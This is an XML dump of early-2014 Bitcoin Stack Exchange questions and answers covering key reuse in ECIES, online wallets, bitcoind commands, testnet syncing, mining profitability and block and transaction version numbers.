  <row Id="22343" PostTypeId="1" CreationDate="2014-02-18T01:39:52.407" Score="2" ViewCount="478" Body="&lt;p&gt;Suppose I have a public key for a particular user (perhaps extracted when using the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12556/1878&quot;&gt;new public key recovery format&lt;/a&gt; included in P2SH, and BIP32 transactions).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it OK &lt;em&gt;the same key&lt;/em&gt; for both signing and encryption?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since I'm obtaining the public key from a message, PS2H script, or BIP32 wallet I want to make sure that all secrets (Bitcoins, private keys, and privacy relating to BIP32) are maintained and no risk to privacy exists.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are some known, safe, (or unsafe) scenarios to use the same key for signing and encryption?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-20T02:43:06.857" Title="ECIES - When is it bad to sign and encrypt using the same keys?" Tags="|encryption|public-key|cryptography|deterministic-wallets|bip32-hd-wallets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22344" PostTypeId="2" ParentId="22304" CreationDate="2014-02-18T02:26:51.313" Score="2" Body="&lt;p&gt;If you wait for a confirmed transaction you will be fine. The common mistake people/large exchanges make is when they constructed &quot;withdraw&quot; transactions from unconfirmed &quot;deposit&quot; transactions. Those invalidate quickly due to double spend rules. The Satoshi client does this as a last resort when picking unspent outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that deals with it is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L1910&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, &lt;code&gt;removeConflicts&lt;/code&gt; is defined &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b78d1cdf82fb12cc0c8eb9049074b359b9589b7c/src/txmempool.cpp#L113&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-02-18T15:54:36.470" LastActivityDate="2014-02-18T15:54:36.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22345" PostTypeId="1" CreationDate="2014-02-18T02:36:39.477" Score="-1" ViewCount="227" Body="&lt;p&gt;I know this question has been asked before but none has a satisfactory answer.&lt;br/&gt; I understand that there are third party apis available which let one host online bitcoin wallet service. These type of apis does not work because I am building it for educational purposes.&#xA;&lt;br/&gt;&lt;br/&gt;&#xA;After all the reading it looks like there is no such thing as online wallet. If a user creates a new online wallet, he will be just given an account from existing offline wallet.All the transaction details will be saved in to the database and synced with offline wallet.&#xA;&lt;br/&gt;Is it true? Is this the way how it works?&lt;br/&gt;&#xA;Found a very detailed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20821/build-an-online-wallet-service-with-bitcoind-can-it-scale-if-not-what-can-be&quot;&gt;question&lt;/a&gt; on similar but nobody answered it.&lt;/p&gt;&#xA;" OwnerUserId="12543" LastActivityDate="2014-04-19T05:50:20.407" Title="What does it mean to build an online Bitcoin Wallet service?" Tags="|wallet|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22346" PostTypeId="2" ParentId="22343" CreationDate="2014-02-18T02:37:15.603" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Since I'm obtaining the public key from a message, PS2H script, or BIP32 wallet I want to make sure that all secrets (Bitcoins, private keys, and privacy relating to BIP32) are maintained and no risk to privacy exists.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Though it might have changed in the revisions of BIP0032, in some situations you can put the entire wallet at risk if you expose a single private key. You basically never want that happening, both for privacy and security purposes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need somebody more in tune with EC like Gregory Maxwell to answer the encryption specific questions, in Bitcoin we only sign and never encrypt so it's something I have never researched deeply. I believe in more recent SSL ciphersuites EC is only used for the key agreement and the rest is handed off to a symmetric cipher for speed purposes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that Bitcoin addresses are usually not designed to stick around, basing any form of encryption on something that is inherently disposable is probably not a particularly wise idea. The only real use we have for message signing functions is for systems like Eligius which &lt;em&gt;do&lt;/em&gt; have a static address already due to their function, and we need to prove that the same user is authorizing a change. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-18T02:37:15.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22347" PostTypeId="2" ParentId="22333" CreationDate="2014-02-18T03:18:45.937" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do they need to pre-generate a list of all possible public keys and watch new blocks for those transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Essentially. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming that there is no limit to BIP32 keys, that means the auditor would need an infinite amount of resources to audit a key (pre generation, and then cross referencing each incoming Tx). What are some appropriate ways to constrain this auditing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Deterministic keys are used sequentially. Currently a client will scan up until they hit a sequence of unused addresses in a row and assume none past this gap have been used. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-18T03:18:45.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22348" PostTypeId="2" ParentId="22341" CreationDate="2014-02-18T03:33:52.603" Score="1" Body="&lt;p&gt;'Withdraw' means moving your BTC or money out of the account to another account. It doesn't say it but it won't let you if you try. Google for Mt.Gox and you will find a lot of news about the current problem.&lt;/p&gt;&#xA;" OwnerUserId="13589" LastActivityDate="2014-02-18T03:33:52.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22349" PostTypeId="1" AcceptedAnswerId="22446" CreationDate="2014-02-18T04:05:37.713" Score="2" ViewCount="1373" Body="&lt;p&gt;Using the bitcoin client's JSON API (or any other altcoin client) how do I find out the reward given for finding that block?&lt;/p&gt;&#xA;" OwnerUserId="11468" LastEditorUserId="10829" LastEditDate="2014-02-20T07:21:32.520" LastActivityDate="2021-07-14T19:30:41.200" Title="How do I find out the reward value of a generated block" Tags="|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22350" PostTypeId="1" CreationDate="2014-02-18T04:08:40.057" Score="4" ViewCount="375" Body="&lt;p&gt;I am in a special situation where I need to import my private key credentials and basically restore a wallet to bitcoind. bitcoind is running and I do have an rpc user/pass and server=1 in the bitcoind.conf, but no matter what I do, when I try and import the key I get the following error.&#xA;There is no password nor encryption on the wallet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@coined:/home#  bitcoind importprivkey &quot;5JxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxHjdCia9dt7&quot; &quot;root&quot;&#xA;error: {&quot;code&quot;:-4,&quot;message&quot;:&quot;Error adding key to wallet&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12392" LastEditorUserId="12392" LastEditDate="2014-02-18T04:37:21.160" LastActivityDate="2019-08-04T09:39:35.200" Title="Trying to import a private key into bitcoind" Tags="|bitcoind|client|api|private-key|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22353" PostTypeId="2" ParentId="22345" CreationDate="2014-02-18T05:24:23.523" Score="1" Body="&lt;p&gt;Typically what is meant by an online wallet service is that the service handles the key and address management for you. You typically don't have to worry about creating new addresses or backing up your private keys. However, an online wallet has the downside that if it gets hacked, there is a chance that an attacked could steal all of your Bitcoin because that attacked would have access to your private key. Some online wallets, like Coinbase claim to have 90% of the funds in cold storage. Cold storage typically means that the coins are sent to addresses that haven't been used AND were generated on a non-networked computer. These keys then are printed to paper and saved to USB drive and then put in a physical security box in a place like a bank.&lt;/p&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2014-02-18T05:24:23.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22355" PostTypeId="2" ParentId="22349" CreationDate="2014-02-18T06:43:26.970" Score="1" Body="&lt;p&gt;All you need is the block number. The reward started at 50 and it halves every 210k blocks. Currently it's at 25, and as I write this the current block number is 286459. For other altcoins, you need to know the schedule.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-18T06:43:26.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22356" PostTypeId="1" CreationDate="2014-02-18T06:46:00.967" Score="-1" ViewCount="2387" Body="&lt;p&gt;Im using cgminer 3.7.2 and I'm mining at ~77Mh/s in the ghash.io pool. I go to the worker list at the ghash website but nothing shows up. At the ghash main page it shows that I'm mining the blocks but it says 0 Gh/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bfOlL.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8lPQm.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13594" LastEditorUserId="5406" LastEditDate="2016-04-24T10:02:03.700" LastActivityDate="2016-10-26T19:10:10.577" Title="Workers aren't showing up in ghash.io" Tags="|mining-pools|miner-configuration|cgminer|ghash.io|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22357" PostTypeId="2" ParentId="22350" CreationDate="2014-02-18T07:16:43.143" Score="-2" Body="&lt;p&gt;leave away the &quot;&quot; around the key (and the label)?&lt;/p&gt;&#xA;" OwnerUserId="13597" LastEditorUserId="13597" LastEditDate="2014-02-18T07:27:51.817" LastActivityDate="2014-02-18T07:27:51.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22358" PostTypeId="1" CreationDate="2014-02-18T09:34:13.460" Score="4" ViewCount="4155" Body="&lt;p&gt;I’m pretty well versed in Bitcoin trading but am really new to Bitcoin mining. I hear a lot of conflicting views regarding the profitability you can achieve with Bitcoin mining. I was wondering if I’m better off mining Bitcoins or to try and look into mining other crypto currencies such as Dogecoin or Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="10629" LastEditorUserId="5406" LastEditDate="2016-01-20T20:13:49.127" LastActivityDate="2016-01-20T20:13:49.127" Title="Is ASIC Bitcoin Mining Profitable?" Tags="|altcoin|mining-profitability|" AnswerCount="2" CommentCount="1" ClosedDate="2014-02-18T23:57:38.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="22359" PostTypeId="1" AcceptedAnswerId="22364" CreationDate="2014-02-18T09:38:41.013" Score="5" ViewCount="1425" Body="&lt;p&gt;Suppose my ISP is intercepting the bitcoin protocol communication. By analyzing traffic in the network, he could be able to determine that some transaction propagates from my IP (as there is no record of it in the rest of the network), and therefore that the computer issuing the transaction is (very likely) in my local network. Is that right?&lt;/p&gt;&#xA;" OwnerUserId="13599" LastActivityDate="2014-02-18T11:37:56.810" Title="Can ISP intercept network messages to identify the IP of the transaction issuer?" Tags="|security|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22360" PostTypeId="2" ParentId="22358" CreationDate="2014-02-18T09:40:04.053" Score="3" Body="&lt;p&gt;This question has been asked before &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5221/is-bitcoin-mining-profitable-yet&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3/is-mining-still-profitable&quot;&gt;here&lt;/a&gt; but this was a long time ago before the difficulty leaped in November of 2013. Bitcoin mining is getting more and more difficult as time progresses. This is because the Bitocin protocol is designed in a way that the mining difficulty increases as the network’s hash rate increases - &lt;a href=&quot;https://blockchain.info/charts/difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;This chart&lt;/a&gt; shows Bitcoin difficulty over time. Hash rate is the computing rate of the system - so the more miners come aboard, the higher the difficulty for mining Bitocins - &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow noreferrer&quot;&gt;This chart&lt;/a&gt; shows the network’s Hash Rate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today if you want to mine Bitcoins you will probably need to join a pool of miners working together in order to compete with this difficulty. For a detailed explanation &lt;a href=&quot;http://99bitcoins.com/bitcoin-mining-profitable-beginners-explanation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;look here&lt;/a&gt;.&#xA;If you want to calculate exactly how much you can make with Bitcoin mining use a mining profitability calculator like &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;. From my own experience I can say that using the most powerful home-made miner you can make a few hundred bucks per month which usually would barely cover electricity cost. Here’s a real live example &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1nffmu/is_bitcoin_mining_still_profitable_or_did_i_miss/cci3neu&quot; rel=&quot;nofollow noreferrer&quot;&gt;from a guy on Reddit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more option to mine would be &lt;a href=&quot;http://cex.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;CEX.IO&lt;/a&gt; which is a cloud mining service where you basically buy mining capabilities without the hassle of operating your own miner. I haven’t tried it myself so I can’t recommend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mine Bitcoins today it will probably be purely for hobby or ideology. You can however try mining altcoins and then exchange them for Bitcoins. The problem is that there are so many altcoins it may sometimes be hard to know which one is worth wasting the time on. &lt;a href=&quot;http://coinchoose.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This chart&lt;/a&gt; shows you some sort of a mining profitability indicator for different altcoins. So even though you may have “missed the bus” on Bitcoin mining you can still try to mine altcoins.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-02-18T09:40:04.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22361" PostTypeId="2" ParentId="22358" CreationDate="2014-02-18T09:50:37.730" Score="3" Body="&lt;p&gt;The short answer is &quot;no&quot;, for a very simple reason. Any time Bitcoin mining is reliably more profitable that anything else people could do, then more people will be doing it, which raises the difficulty. So the difficulty will rise until Bitcoin mining is not going to be profitable for the average person. If you have some special advantage, such as paying a particularly low cost for power or you need electric heat anyway, then maybe,&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-18T09:50:37.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22362" PostTypeId="1" AcceptedAnswerId="22374" CreationDate="2014-02-18T10:38:03.327" Score="2" ViewCount="375" Body="&lt;p&gt;I set up bitcoind as server. It downloads the testnet blockchain but it is inconsistent with public data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockexplorer.com/testnet/q/getblockcount &#xA;&#xA;182951 (As of 18/02/14)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getblockcount &#xA;&#xA;53317&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My testnet accounts receive bitcoins from public faucets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/testnet/address/mjDutNstJpZo929nLdZGKPh75fWKuTQNi1&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet/address/mjDutNstJpZo929nLdZGKPh75fWKuTQNi1&lt;/a&gt;  (form 2 different faucets)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind listreceivedbyaddress 0 true&#xA;[ &#xA;...&#xA;{&#xA;        &quot;address&quot; : &quot;mjDutNstJpZo929nLdZGKPh75fWKuTQNi1&quot;,&#xA;        &quot;account&quot; : &quot;3&quot;,&#xA;        &quot;label&quot; : &quot;3&quot;,&#xA;        &quot;amount&quot; : 0.00000000,&#xA;        &quot;confirmations&quot; : 0&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getinfo&#xA;{&#xA;    &quot;version&quot; : 32400,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 53317,&#xA;    &quot;connections&quot; : 2,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : false,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;difficulty&quot; : 0.55300531,&#xA;    &quot;hashespersec&quot; : 0,&#xA;    &quot;testnet&quot; : true,&#xA;    &quot;keypoololdest&quot; : 1392632512,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please read the accepted answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dont do apt-get update and install (at least in Ubuntu 12.04.4 LTS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aptitude install python-software-properties&#xA;sudo add-apt-repository ppa:bitcoin/bitcoin&#xA;sudo aptitude update&#xA;sudo aptitude install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13603" LastEditorUserId="13603" LastEditDate="2014-02-19T01:34:46.257" LastActivityDate="2014-02-19T01:34:46.257" Title="Bitcoind doesn't find transactions / synchronize / update until last block from Testnet" Tags="|blockchain|bitcoind|testnet|faucets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22364" PostTypeId="2" ParentId="22359" CreationDate="2014-02-18T11:37:56.810" Score="3" Body="&lt;p&gt;That is right. If you want to obtain more anonymity you could install &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; and use the &lt;code&gt;-tor&lt;/code&gt; command-line option when starting &lt;code&gt;bitcoind&lt;/code&gt; to connect to the network through a (safe) Tor circuit. I believe this is discouraged however unless it is absolutely necessary, because Bitcoin will not automatically create a hidden service for node connection. This means that nodes can not connect to you, but you only to nodes and if everybody did this the network would not function. (could someone provide a source in a comment please? I'm pretty sure I read it but the link is dead).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could make use of the local library computer facilities, McDonald's WiFi (keep in mind that government authorities can request this data and that it WILL be given to them, make sure your laptop is anonymized as much as possible, with &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; for example) or establish an encrypted connection to a VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Running Bitcoin - the Bitcoin wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot; rel=&quot;nofollow&quot;&gt;Tor - the Bitcoin wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/legacy/events/sec04/tech/full_papers/dingledine/dingledine_html/index.html&quot; rel=&quot;nofollow&quot;&gt;Tor design paper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-02-18T11:37:56.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22365" PostTypeId="2" ParentId="9046" CreationDate="2014-02-18T11:38:44.517" Score="37" Body="&lt;p&gt;Yes, there &lt;strong&gt;is&lt;/strong&gt; a way to save a borked transmission. A restart of the wallet and some patience typically fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to stop/reverse a Bitcoin transaction without confirmations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run &lt;code&gt;bitcoind&lt;/code&gt; and with &lt;code&gt;-zapwallettxes&lt;/code&gt;.&lt;br&gt;&#xA;This makes the wallet &quot;forget&quot; any unconfirmed transactions, thus enabling you to reuse their inputs.&lt;/li&gt;&#xA;&lt;li&gt;Create a new transaction to make your payment and add an appropriate fee this time.&lt;/li&gt;&#xA;&lt;li&gt;The unconfirmed transaction is still valid and may still be floating around in the network, so be sure to spend its inputs to yourself, or the transaction may be confirmed at a later time and you'll end up double-paying.&lt;br&gt;&#xA;The simplest way is to send all your bitcoins to yourself. Don't forget an appropriate fee. ;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12392" LastEditorUserId="5406" LastEditDate="2016-06-15T15:03:57.133" LastActivityDate="2016-06-15T15:03:57.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22367" PostTypeId="2" ParentId="9277" CreationDate="2014-02-18T12:12:37.463" Score="10" Body="&lt;p&gt;Pass &lt;code&gt;-dbcache=N&lt;/code&gt; as a command line option. &lt;code&gt;N&lt;/code&gt; is a number in megabytes, and setting it higher significantly improves verification speed. The default is 450, but up to 6000 or so you can notice improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is superior to using a RAM drive.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2017-10-19T14:54:33.993" LastActivityDate="2017-10-19T14:54:33.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22368" PostTypeId="1" AcceptedAnswerId="22371" CreationDate="2014-02-18T13:05:27.617" Score="2" ViewCount="1308" Body="&lt;p&gt;If I run command to fetch a block, I see version 2 is returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getblock 0000000000000000ae22455f90306f43e8c806585fe2dfc3b0e92ac7b7620bff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hash&quot; : &quot;0000000000000000ae22455f90306f43e8c806585fe2dfc3b0e92ac7b7620bff&quot;,&#xA;&quot;confirmations&quot; : 5885,&#xA;&quot;size&quot; : 249065,&#xA;&quot;height&quot; : 280557,&#xA;&quot;version&quot; : 2,&#xA;&quot;merkleroot&quot; : &quot;5b4c401a2ad5a82ef26efb1d7ad82a0b6abea18118b50a12b555ea9e8663042b&quot;,&#xA;&quot;tx&quot; : [    .... snip ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I run the command to fetch a transaction, I see that version 1 is returned&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; getrawtransaction 260ef6a9bbb401ecbfdace19c84ae3245f0ab5b229ea716209a38e9ec0fd14c1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hex&quot; : &quot;01000000027f4e827503d7d52617.. snip ..9763caaf4b6216343fa460b88ac00000000&quot;,&#xA;&quot;txid&quot; : &quot;260ef6a9bbb401ecbfdace19c84ae3245f0ab5b229ea716209a38e9ec0fd14c1&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that BIP32 will cause both of them to be &lt;code&gt;version 3&lt;/code&gt;.  Can anyone explain: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Where I can find a concise list of rules of what is expected from each version (it's not on the wiki)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When that version changed (year and/or block number)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are old version banned, or are they still supported?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2015-07-25T16:34:35.313" Title="What are the differences between the transaction and block versions? (v1, v2, v3, etc..)" Tags="|transactions|development|block|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22371" PostTypeId="2" ParentId="22368" CreationDate="2014-02-18T14:12:46.530" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0034&lt;/a&gt; added Version 2 blocks.  It enforces the rule that the transaction version is 1 (this was previously not enforced and there are some weird transaction versions in the block chain).  It also requires the coinbase transaction input script to contain the block height as the first data element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;nofollow&quot;&gt;discussion&lt;/a&gt; about a new Version 3 block and Version 3 transaction which would enforce canonical encoding.  This would be a solution to the transaction malleability problem.  Skipping transaction Version 2 would make the versions the same once more for both blocks and transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read the Bitcoin Improvement Proposals &lt;a href=&quot;https://github.com/bitcoin/bips&quot; rel=&quot;nofollow&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="23340" LastEditDate="2015-07-25T13:37:13.033" LastActivityDate="2015-07-25T13:37:13.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22374" PostTypeId="2" ParentId="22362" CreationDate="2014-02-18T15:21:03.663" Score="2" Body="&lt;p&gt;It looks like you are using &lt;strong&gt;version 0.3.24&lt;/strong&gt; of the bitcoin client, which is &lt;em&gt;extremely&lt;/em&gt; old (released July of 2011).  The &lt;strong&gt;latest version is 0.8.6&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions prior to 0.7.0 (released April of 2012) used a different testnet blockchain (called testnet2), which is no longer in general use.  Since 0.7.0, everyone uses testnet3, which has a new genesis block and a separate block chain.  So the coins you received are waiting in that new chain, but you're looking at the old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upgrade to the latest version of bitcoind&lt;/strong&gt;.  Then copy your &lt;code&gt;wallet.dat&lt;/code&gt; from &lt;code&gt;.bitcoin/testnet2&lt;/code&gt; to &lt;code&gt;.bitcoin/testnet3&lt;/code&gt;.  After synchronization, you should see your coins (and avoid a lot of other issues too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually pretty surprised your client found enough testnet2 peers to get a complete copy of the testnet2 block chain!&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="9591" LastEditDate="2014-02-18T21:16:51.550" LastActivityDate="2014-02-18T21:16:51.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22376" PostTypeId="2" ParentId="8166" CreationDate="2014-02-18T15:41:45.507" Score="1" Body="&lt;p&gt;Yes, this is possible but like cracking a good hash, signature, or key it is improbable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the supply of a coin remains perfectly stable and is expected to do so, some massively overwhelming amount of derivatives could do this, but there would have to be no transaction costs to achieve this level of stability because any cost to trade will be passed onto to the holder as volatility since any cost would reduce the demand for those volatility-reducing derivatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single entity would not be able to do this; furthermore, a large percentage of total world wealth would have to be dedicated to this purpose, all hedging and speculating in random harmony.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the conditions for perfect price stability through relying on derivatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determining liquidity levels is better when cryptocurrencies are compared to their fiat counterparts.  Bitcoin is 3x the spread for fiats, last I checked, so there is still plenty of transaction costs.  This is not to say that fiats and securities don't have transaction costs.  For one thing, locked markets are forbidden, so there will always be transaction costs in the amount of the bid-ask spread for the duration of that restriction.  This shows that for the level of price stability achieved by other fixed supply commodities, cryptos would have to be at approximately equal to such commodities respective ratios of notional to underlying.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most cryptos have a wall on this potential in the form of confirmation times.  A dynamic trader cannot exist in a market with one hour delays on trade confirmations even at the periphery since they need to trade between exchanges and other assets.  The low confirmation cryptos have the best chance for stabilization by derivative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this isn't to suggest that approaching the ideal isn't possible.  The more derivatives that are tied to an underlying coin will result in more price stability for that coin.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-02-18T23:13:35.637" LastActivityDate="2014-02-18T23:13:35.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
